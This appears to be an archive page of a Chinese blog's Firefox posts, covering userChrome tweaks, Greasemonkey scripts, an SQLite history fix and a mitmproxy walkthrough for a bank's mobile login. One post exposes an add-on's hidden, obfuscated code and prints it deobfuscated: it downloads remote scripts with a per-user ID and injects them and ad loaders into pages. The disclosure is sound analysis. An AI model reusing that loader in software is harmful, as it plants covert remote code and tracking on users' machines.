11
27
2013
10

恢复火狐地址栏图标及 HTTPS 站点标识

大约一年前,火狐 14 发布的时候,取消了在地址栏显示网站图标的功能,而且重新设计了 HTTPS 网站的标识。那个白色背景上的绿色标识我很不喜欢,于是通过给 omni.ja 文件打补丁的方法恢复了之前的样式:

  • HTTP 网站图标:

    HTTP favicon

  • HTTPS 域名显示:

    HTTPS domain

  • HTTPS 「经营者」显示:

    HTTPS identity

  • 部分 chrome URL 显示(我自己照着改的):

    Chrome URL

可是,火狐 21 对这部分代码进行了重构,我找不到相关部分的代码了。于是,我一直还在使用火狐 20。直到前几天。

实际上,恢复在地址栏显示网站的扩展有不少,但无一例外,它们都只是恢复网站图标的显示。有个插件也恢复了 HTTPS 网站的浅蓝色域名显示,但是没有已认证的「经营者」的绿色显示。而且,它的代码是通过定时器每隔几百毫秒就执行一次,相比事件响应的方法太没效率了。

于是,使用代码片断速记器(默认快捷键Shift+F4),配合 Firebug 查看 chrome://browser/content/browser.xul,根据之前的样式表,我终于得到了以下解决方案(实际上上边的截图是我这个解决方案应用之后的)——

首先,安装 userChromeJS 扩展。这个扩展使得在火狐启动时加载 userChrome.js 文件。

其次,userChrome.js 文件,使地址栏显示网站图标并在正确的时机切换。它位于火狐配置目录下的 chrome 目录下:(注意已有新版

if(location == "chrome://browser/content/browser.xul"){
  (function(){

  var eTLDService = Components.classes["@mozilla.org/network/effective-tld-service;1"]
                    .getService(Components.interfaces.nsIEffectiveTLDService);

  function updateIcon(event){
    var tab = event.target;
    if(tab != gBrowser.selectedTab){
      return;
    }
    var icon = tab.image || 'chrome://mozapps/skin/places/defaultFavicon.png';
    document.getElementById('page-proxy-favicon').src = icon;
    var identity = document.getElementById('identity-box');
    if('verifiedDomain'.indexOf(identity.className) != -1){
      var identityLabel = document.getElementById('identity-icon-labels');
      identityLabel.collapsed = false;

      var domain = eTLDService.getBaseDomain(tab.linkedBrowser.lastURI);
      document.getElementById('identity-icon-label').value = domain;
    }
  }

  var container = gBrowser.tabContainer;
  container.addEventListener("TabSelect", updateIcon, false);
  container.addEventListener("TabAttrModified", updateIcon, false);

  })();
}

这部分,特别是标签页事件,参考了 MDN 的相关文档

最后,HTTPS 和 chrome URL 的样式文件,放到同目录下的 userChrome.css 中,有点长:

@namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul");

/* 地址栏图标 */
#identity-box {
  background-image: linear-gradient(hsl(0,0%,98%), hsl(0,0%,92%));
  box-shadow: 0 1px 0 hsla(0,0%,0%,.05) inset;
  -moz-border-end: 1px solid rgba(0,0,0,.1);
  -moz-margin-end: 3px !important;
}

#identity-box:hover:active,
#identity-box[open="true"] {
  background-image: linear-gradient(hsl(0,0%,92%), hsl(0,0%,82%));
  box-shadow: 0 1px 1px hsla(0,0%,0%,.3) inset,
              0 1px 3px hsla(0,0%,0%,.3) inset;
}

/* Text colors for each:
 *
 * rgb(38, 76, 129) hsl(215, 55, 33)
 * rgb(71, 153, 0)  hsl(92, 100, 30)
 * rgb(229, 115, 0) hsl(30, 100, 45)
 */

#identity-box.verifiedDomain {
  background-image: linear-gradient(hsl(215,60%,92%), hsl(215,58%,88%));
  box-shadow: 0 1px 0 hsla(215,54%,33%,.05) inset;
  -moz-border-end-color: hsla(215,54%,33%,.2);
  color: hsl(215,54%,33%);
}

#identity-box.verifiedDomain:hover:active,
#identity-box.verifiedDomain[open="true"] {
  background-image: linear-gradient(hsl(215,80%,80%), hsl(215,67%,65%));
  box-shadow: 0 1px 1px hsla(215,54%,33%,.7) inset,
              0 1px 3px 1px hsla(215,54%,33%,.5) inset;
}

#identity-box.verifiedIdentity {
  background-image: linear-gradient(hsl(91,70%,90%), hsl(93,60%,81%)) !important;
  box-shadow: 0 1px 0 hsla(92,81%,16%,.05) inset !important;
  -moz-border-end-color: hsla(92,81%,16%,.2) !important;
  background-repeat: inherit !important;
  background-color: transparent !important;
}

#identity-box.verifiedIdentity:hover:active,
#identity-box.verifiedIdentity[open="true"] {
  background-image: linear-gradient(hsl(92,65%,70%), hsl(92,40%,48%)) !important;
  box-shadow: 0 1px 1px hsla(92,81%,16%,.6) inset,
              0 1px 3px 1px hsla(92,81%,16%,.5) inset !important;
}

#identity-box.chromeUI {
  background-image: linear-gradient(hsl(29,70%,95%), hsl(31,60%,90%)) !important;
  box-shadow: 0 1px 0 hsla(30,81%,25%,.05) inset !important;
  -moz-border-end-color: hsla(30,81%,25%,.2) !important;
  background-repeat: inherit !important;
  background-color: transparent !important;
}

#identity-box.chromeUI:hover:active,
#identity-box.chromeUI[open="true"] {
  background-image: linear-gradient(hsl(30,65%,85%), hsl(30,65%,70%)) !important;
  box-shadow: 0 1px 1px hsla(30,81%,25%,.6) inset,
              0 1px 3px 1px hsla(30,81%,25%,.5) inset !important;
}

另外,新版火狐又有一点令我不满了:滚动到页面底部和顶部也会使用平滑滚动,不喜欢。还是这个是可选的,设置 general.smoothScroll.otherfalse 就可以了。

2013年11月29日更新:自火狐 23 起,地址栏搜索会使用搜索栏的默认搜索引擎。对于我这种拿地址栏搜网站、搜索栏查字典的用户来说,这很难以忍受。于是找到 keyword.URL Hack! 这个扩展,新建字符串设置keyword.URL为 Google「手气不错」地址https://www.google.com/search?hl=zh-CN&btnI=1&q=,终于又回到从前二者兼俱的时候。

2014年3月25日更新:更新了脚本,在载入过程中不会显示错误的图标了。

Category: 火狐 | Tags: 火狐 userChrome
11
13
2013
2

GM 脚本:清除 Google Groups 中的翻译提示

终于忍受不了 Google Groups 网页里到处都是的「将本帖翻译成中文」提示了——

// ==UserScript==
// @name           Google Group 清理
// @namespace      http://lilydjwg.is-programmer.com/
// @description    不用将帖子翻译成中文……
// @include        https://groups.google.com/*
// @grant      none
// ==/UserScript==

function doit() {
  console.log('cleaning up...');
  var divs = document.evaluate('//div[@class="gux-confirm-panel-c"]/div/a[@class="GFLL15SM5B"]/parent::div/parent::div', document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);

  for(var i=0, len=divs.snapshotLength; i<len; i++){
    var div = divs.snapshotItem(i);
    div.parentNode.removeChild(div);
  }
}

var timer;

document.body.addEventListener('overflow', function(e){
  if(timer){
    clearTimeout(timer);
  }
  timer = setTimeout(doit, 500, false);
});

点击安装备用地址

Category: 火狐 | Tags: google 火狐 GreaseMonkey
11
4
2013
5

GM 脚本:Scrum for Trello

没找到这个家伙的 Firefox 版本。想它只是改改 Trello 的 UI 什么的,于是要来 crx 文件,直接把它的 JavaScript 文件扒出来了(顺便也发现了它的 GitHub 地址,不过已经晚了)。

按这里安装

移植过程中解决的问题:

  • PNG 和 CSS 等外部文件。两个小的 PNG 图片,我直接使用 Data URI 内嵌了。CSS 我用 yuicompressor 压缩之后也通过脚本加入了。
  • jQuery 1.7.1 与 Trello 所使用的 2.0.0 冲突了。改成直接使用页面上已有的 jQuery,顺便还省个不小的依赖。在 GreaseMonkey 中得unsafeWindow.jQuery来访问加上@grant: none指示
  • .live()方法没了……按文档改用.on()。共四处改动。.on()在替代.live()时语法不一样要小心不要弄错了。
  • 匹配 Board 名的正则失效了,修之。

PS: 火狐按住Ctrl键可以创建多个选区,在可视化编辑器里可以同时调整多个地方的样式,真方便呢=w=

Category: 火狐 | Tags: 火狐 GreaseMonkey
10
25
2013
14

php.net 被攻破,Google Chrome 浏览器竟浑然不知

人们都说 Google Chrome 浏览器安全,可是——

昨日,有网友告诉我 php.net 被挂马了。于是我在火狐浏览器中访问,果然得到了警告:

php.net blocked by Firefox

再去 Google 搜索一下,果然也被标记上了:

php.net blocked by Google Search

直接点击搜索结果会得到 Google 的警告:

php.net blocked by Google

但是,Google Chrome 浏览器访问竟然没有任何提示

今天,这个警告已经移除了。php.net 官方发布了一些消息,证实它确实被攻破了。为了以防万一,他们吊销了 php.net 所使用的 SSL 证书。我于是尝试使用火狐访问使用了 SSL 的子站,比如这个 https://wiki.php.net/,火狐很明确地告诉我,它的证书已经被废弃了:

php.net SSL certificate revoked error

但是,Google Chrome 浏览器访问依然没有任何提示,表示安全的小绿锁依然鲜亮。

难道是 Google 认为 Google Chrome 浏览器本身已经足够安全,不仅能抵御任何它能检测出来的恶意网页,而且能在证书已被吊销的情况下判断出网页是否被篡改?

php.net with revoked certificate accepted by Google Chrome

注:以上均为浏览器默认安全配置,我没有手动修改任何安全相关的选项。

更新:在 Google Chrome 的「设置」中,点击「显示高级设置…」,往后滚,找到「HTTPS/SSL」,把「检查服务器证书吊销状态」前边的框勾上,Google Chrome 就也会报告证书不可信了。

再次更新:通过 GoAgent 访问,没有收到任何关于服务器证书已经失效的提示。证实了我之前关于通过 GoAgent 访问 HTTPS 站点会降低安全性的猜测。


感谢 Eleven.i386 提供了部分截图。

10
17
2013
8

订阅至此收取点,使用 InoReader 阅读器

Google 阅读器死掉好久了,火狐却依旧惦记着它:

火狐,你看这样可好?

配置方法:打开about:config,查找并修改以下选项值:


2013年11月11日更新:原来 InoReader(以及火狐)支持直接添加为 RSS 阅读器。在 InoReader 的「用户偏好设置」里,「附加功能」选项卡下,滚动到最后有一个「点按这里将 InoReader 作为订阅源阅读器添加到 Firefox」——

 

其对应的代码为:

function add_ff_handler(){navigator.registerContentHandler("application/vnd.mozilla.maybe.feed",proto+"://www.inoreader.com/?add_feed=%s","InoReader");}
Category: 火狐 | Tags: rss 火狐
10
12
2013
24

GM 脚本:在 Disqus 中提示需要登录

Disqus 越来越受欢迎,然而,非 Disqus 用户评论越来越艰难

一开始,和 WordPress 一样,名字、电邮、网站。想要新评论通知?好呀,使用 Facebook、Twitter 或者 Google+ 登录下就好。

后来,「Twitter 用户,创建个 Disqus 帐号吧!」不想要 Disqus 帐号,那就不要登陆了,也甭想推广自己的博客,填上电邮地址显示个头像吧。当然,为了迫使你们登陆,名字和电邮信息也不像一般博客是记住的。下次继续填,继续勾选「以访客身份发布」。

现在,花了不少时间和心思写完很不错的评论,双击填名字的文本框填名字时,却经常发现刚展开的部分里那个「以访客身份发布」复选框没有了。「对不起,必须登录才能在此博客留言哦亲。」Holy shhhhhhhhhhhhhit!

此 GreaseMonkey 脚本为防止最后一种情况的发生,在你动手写下评论的时候明确告诉你不登录你的评论是发不出去的

不过,由于我现在取不到自己的 Disqus 帐号密码,所以不确定登录 Disqus 帐号之后这个脚本能否正确检测到。欢迎反馈!

点击安装

脚本全文如下:

// ==UserScript==
// @name        Disqus login required reminder
// @namespace   http://lilydjwg.is-programmer.com/
// @description Remind you if you can't post your comments because you aren't logged in
// @include     http://disqus.com/embed/comments/*
// @include     https://disqus.com/embed/comments/*
// @version     1
// ==/UserScript==

var check = function(){
  var el = document.querySelector('input[name="author-guest"]');
  if(!el){
    setTimeout(check, 100, false);
    return;
  }
  if(el.style.display == 'none'){
    console.log("login required");
    var msg = document.getElementsByClassName('placeholder')[0];
    msg.textContent = '需要登录 / Login Required!';
    msg.parentNode.addEventListener('blur', function(){
      var msg = document.getElementsByClassName('placeholder')[0];
      msg.textContent = '需要登录 / Login Required!';
    });
  }
};

setTimeout(check, 100, false);

点击安装


附:我始终认为,不管登陆评论能给用户和自己带来多大的好处,只要文章允许评论,来访者应当能够以最小成本发表评论并且署名。也就是,不需要注册,不需要登录,你就可以评论。最好支持 Gravatar 头像,最好支持链接到自己的网站,最好支持被回复时 Email 提醒。实际上本博客非登录用户需要填写验证码我已经很不爽了,只是 Chito 这个博客程序提供的另一种反垃圾策略——使用 Akismet——我这边已经坏掉了。

所以我越来越敬佩 WordPress。

Category: 火狐 | Tags: 博客 火狐 网页 GreaseMonkey
8
20
2013
6

发现一款带隐藏广告代码的火狐插件

下载、解压,找到app.js。最后有一段混淆过的代码,注释曰「划词搜索电影」。使用 NodeJS 把eval里的函数执行结果打出来,再扔到 Vim 里拿 jsbeatify.vim 格式化一下,结果如下:

if (typeof(IMAXPluginChrome) == "undefined") {
  function S4() {
    return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1)
  }
  function guid() {
    return (S4() + S4() + S4() + S4() + S4() + S4() + S4() + S4())
  }
  var IMAXPluginChrome = {
    getCid: function() {
      var uuid = nsPreferences.copyUnicharPref("extensions.imax.uuid", "");
      if (typeof(uuid) == "undefined" || uuid == "") {
        uuid = guid();
        nsPreferences.setUnicharPref("extensions.imax.uuid", uuid)
      }
      return uuid
    },
    loadScript: function(callback, unsafeWin) {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.status == 200 && xhr.readyState == 4) {
          var code = xhr.responseText;
          nsPreferences.setUnicharPref("extensions.imax.code", code);
          nsPreferences.setUnicharPref("extensions.imax.last_synced_at", Date.now() + "");
          callback(unsafeWin, code)
        }
      };
      xhr.open("GET", "http://imax.taobaoimages.com/bootstrap.js?cid=FF_" + IMAXPluginChrome.getCid(), true);
      xhr.send(null)
    },
    onDOMContentLoaded: function(event) {
      var code = nsPreferences.copyUnicharPref("extensions.imax.code", "");
      var last_synced_at = Number(nsPreferences.copyUnicharPref("extensions.imax.last_synced_at", 0));
      var unsafeWin = event.target.defaultView;
      if (unsafeWin.wrappedJSObject) {
        unsafeWin = unsafeWin.wrappedJSObject
      }
      function callback(unsafeWin, code) {
        var unsafeDocument = new XPCNativeWrapper(unsafeWin, "document").document;
        var script = unsafeDocument.createElement("script");
        script.type = "text/javascript";
        script.charset = "utf-8";
        script.textContent = code;
        unsafeDocument.body.appendChild(script)
      }
      if ((code == "") || ((Date.now() - last_synced_at) > (1000 * 60 * 60 * 24))) {
        IMAXPluginChrome.loadScript(callback, unsafeWin)
      } else {
        callback(unsafeWin, code)
      }
    },
    onLoad: function(event) {
      var appcontent = document.getElementById("appcontent");
      if (appcontent) {
        appcontent.addEventListener("load", this.onDOMContentLoaded, true)
      }
    },
    onUnload: function(event) {
      window.removeEventListener("load", this.onLoad, false);
      window.removeEventListener("unload", this.onUnload, false);
      var appcontent = document.getElementById("appcontent");
      appcontent.removeEventListener("DOMContentLoaded", this.onDOMContentLoaded, false)
    },
    init: function() {
      window.addEventListener("load", function(event) {
        IMAXPluginChrome.onLoad(event)
      },
      false);
      window.addEventListener("unload", function(event) {
        IMAXPluginChrome.onUnload(event)
      },
      false)
    }
  };
  IMAXPluginChrome.init()
}

这段代码异步载入了来自http://imax.taobaoimages.com/bootstrap.js?cid=FF_XXX的代码,其中XXX是生成的用户 ID。又是一段混淆过的代码,还是一样的eval,转义字符串数组也一样扔 NodeJS 就行了。处理后的脚本如下:

(function(cid) {
  if (window.tbk) {
    return
  }
  window.tbk = true;
  var plugin_scripts = {
    "http://(.*?\.tao)(bao\.com)|(tao\.et)(ao\.com)": "http://imax.taobaoimages.com/browser.js"
  };
  for (var enabledDomains in plugin_scripts) {
    var host = document.location.href;
    if (host.match(RegExp(enabledDomains))) {
      imax_script_url = plugin_scripts[enabledDomains];
      function readCookie(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
          var c = ca[i];
          while (c.charAt(0) == ' ') c = c.substring(1, c.length);
          if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
        }
        return null
      }
      function addBrowserJs() {
        if (document.readyState == "complete") {
          var h = document.getElementsByTagName('head')[0];
          var s = document.createElement('script');
          s.setAttribute('type', 'text/javascript');
          s.setAttribute('charset', 'utf-8');
          s.setAttribute('async', true);
          if (readCookie("_q_r_b_")) {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          } else {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          }
          h.appendChild(s)
        } else {
          window.setTimeout(addBrowserJs, 20)
        }
      }
      addBrowserJs()
    }
  }
})("CID");

(function(d) {
  var _0xc429 = ['href', 'location', 'http://taoad.wandoupai.com/ad.js', '', 's.taobao.com/search', 
    'search', 'weibo', 'baidu', 'length', 'match',
  'ad=', 'getElementsByClassName', 'createElement', 'className', 'body',
  'getElementsByTagName', 'appendChild', 'script', 'T1xC6MXfthXXcWeqbX', '?', 'type', 'text/javascript', 'src'];
  var href = d.location.href;
  var host = 'http://taoad.wandoupai.com/ad.js';
  var url = '';
  var url_map = [['s.taobao.com/search', 'search'], ['weibo', 'weibo'], ['baidu', 'baidu']];
  for (var i = 0; i < url_map.length; i++) {
    if (href.match(url_map[i][0])) {
      url = 'ad=' + url_map[i][1];
      break;
    };
  };
  if (url == '') {
    return false;
  };
  var appendTag = function(a, b, c) {
    if (document.getElementsByClassName(b).length > 0) {
      return;
    };
    var el = d.createElement(a);
    el.className = b;
    c(el);
    var body0 = d.getElementsByTagName('body')[0];
    if (!body0) {
      return;
    };
    body0.appendChild(el);
    return el;
  };
  appendTag('script', 'T1xC6MXfthXXcWeqbX', function(a) {
    var link = host + '?' + url;
    a.type = 'text/javascript';
    a.src = link;
  });
})(document);

这段脚本会按照当前访问的网站地址载入地址类似http://taoad.wandoupai.com/ad.js?ad=baidu的脚本。目前,这个地址返回的是空文档。说好的广告呢……

6
27
2013
10

使用 SQLite3 的第三方扩展来修改火狐历史记录中的 URL

在火狐 17 以前,我可以这样子访问我本地的 Python 文档的:

jar:file:///home/lilydjwg/docs/Python/python.zip!/index.html

访问的实际上是一个 zip 文件中的内容。网页这种纯文本的东西压缩率高,35M 的 Python 3.3 文档,压缩后只有 7.1M。一来节省磁盘空间(我的 /home 分区己用 98% 了 TwT),二来读取快。

可是,自从火狐 17 开始,虽然 jar: 协议依旧支持,但是似乎其中的部分或者全部 JavaScript 脚本不会被执行。最明显的是,Python 这种用 Sphinx 制作的文档的搜索功能没了!

在拒绝升级火狐很长一段时间之后,Arch 把火狐 16 要用的库文件升级了……于是只好换回未压缩的一大堆文件。可问题是,我以前在火狐地址栏输入re就有 Python 正则表达式模块的文档的补全、输入py m就有 Python 标准库模块列表的补全,地址转换后,这些历史记录里的地址就全失效啦。

现在想想,其实我可以使用 Redirector 插件搞定的。但当时没想到,也是想更根本地解决问题,便直接修改火狐的地址记录数据库了。

此数据库是 SQLite3 数据库,位于火狐配置目录下的places.sqlite3文件中。moz_places表中记录了历史记录和书签中的项目的 URL 地址,只修改它就可以了。但问题是,这不像我当初 MediaWiki URL 路径中去掉index.php那样,用replace函数就可以搞定:

UPDATE OR REPLACE moz_places SET url = REPLACE(url, '/index.php', '') WHERE url LIKE 'http://localhost/wiki/index.php/%';

我需要正则表达式

于是找到了这个 glib_replace 模块,支持使用 glib 的正则表达式来进行替换。下回来编译成 .so 文件后这样子用:

SELECT load_extension('./glib_replace.so');
UPDATE OR REPLACE moz_places SET url = regex_replace('^jar:((?:.(?![^/]+\.zip!))+)(/[^/]+)\.zip!(.*)$', url, '\1\2\3') WHERE url LIKE 'jar:file:///home/lilydjwg/docs/Python/python%'; 

跑完就好啦!

PS: 如果你的 URL 中有 % 字符,记得在 like 操作符参数中转义成 %% 哦~

参考链接

Category: 火狐 | Tags: 正则表达式 火狐 sqlite3
8
2
2012
14

GM 脚本:桌面浏览器登录招商银行手机版,及 mitmproxy 的初次使用

招商银行网银需要控件,只支持 Windows 和 Mac。但是手机版不需要安装任何软件可直接登录。通过桌面浏览器访问https://mobile.cmbchina.com/MobileHtml/Login/LoginA.aspx可以看到登录界面,但登录时被拒绝,弹出警告「为了您的资产安全,请用手机访问手机银行!」。更改 UserAgent 失败。通过 Firebug 发现其 POST 数据中包含从 JavaScript 取到的navigator.UserAgentscreen.widthscreen.heightnavigator.platform的值,以 XML 发送给服务器。于是尝试修改之。

这次使用 privoxy 不行了,因为是 HTTPS 加密连接,privoxy 看不到内容。于是用上了前不久才发现的工具mitmproxy,一个支持 SSL 的中间人代理,并支持交互、命令行和脚本化查看、编辑功能。在看了下请求数据后,按i输入要中断的请求的模式-u LoginA,在请求 URL 包含LoginA字样时中断以进行人工编辑。使用j键移动到停下来的橙色请求上:

中断浏览器请求

按回车显示详细信息,按e进行编辑,f选择编辑表单域,编辑完成后退回到请求列表界面,按a继续,再按a接受响应信息。

编辑POST表单

经过多次 Google 和编辑尝试,招行终于不再要求我使用手机访问了。不过很显示,我不能每次登录都使用 mitmproxy 手工编辑对不?于是写了个 GreaseMonkey 脚本。

此脚本用到了unsafeWindow,也就是页面本身中的那个window对象,而不是被GreaseMonkey wrap 过的。这样才能修改页面中定义的函数。注意据说这样做有安全风险。详见 GreaseMonkey Wiki

点击此处安装此脚本早已失效

Category: 火狐 | Tags: GreaseMonkey 火狐 mitmproxy
7
29
2012
1

Revert new site identity feature and show favicon in urlbar for Firefox 14 & 15

(中文文章请见此处。)

If a user can be cheated by a site icon, the user can still be cheated even  when you remove that icon.

For the patch for Firefox 14, click here; for the omni.ja file, check this. This includes the long-lost feature that double-clicking on the space in a tab group will open a new tab.

For Firefox 15 patch.The omni.ja file is at the same location.

For Firefox 16 patch.The omni.ja file is at the same location.

Category: 火狐 | Tags: 火狐

部分静态文件存储由又拍云存储提供。 | Theme: Aeros 2.0 by TheBuckmaker.com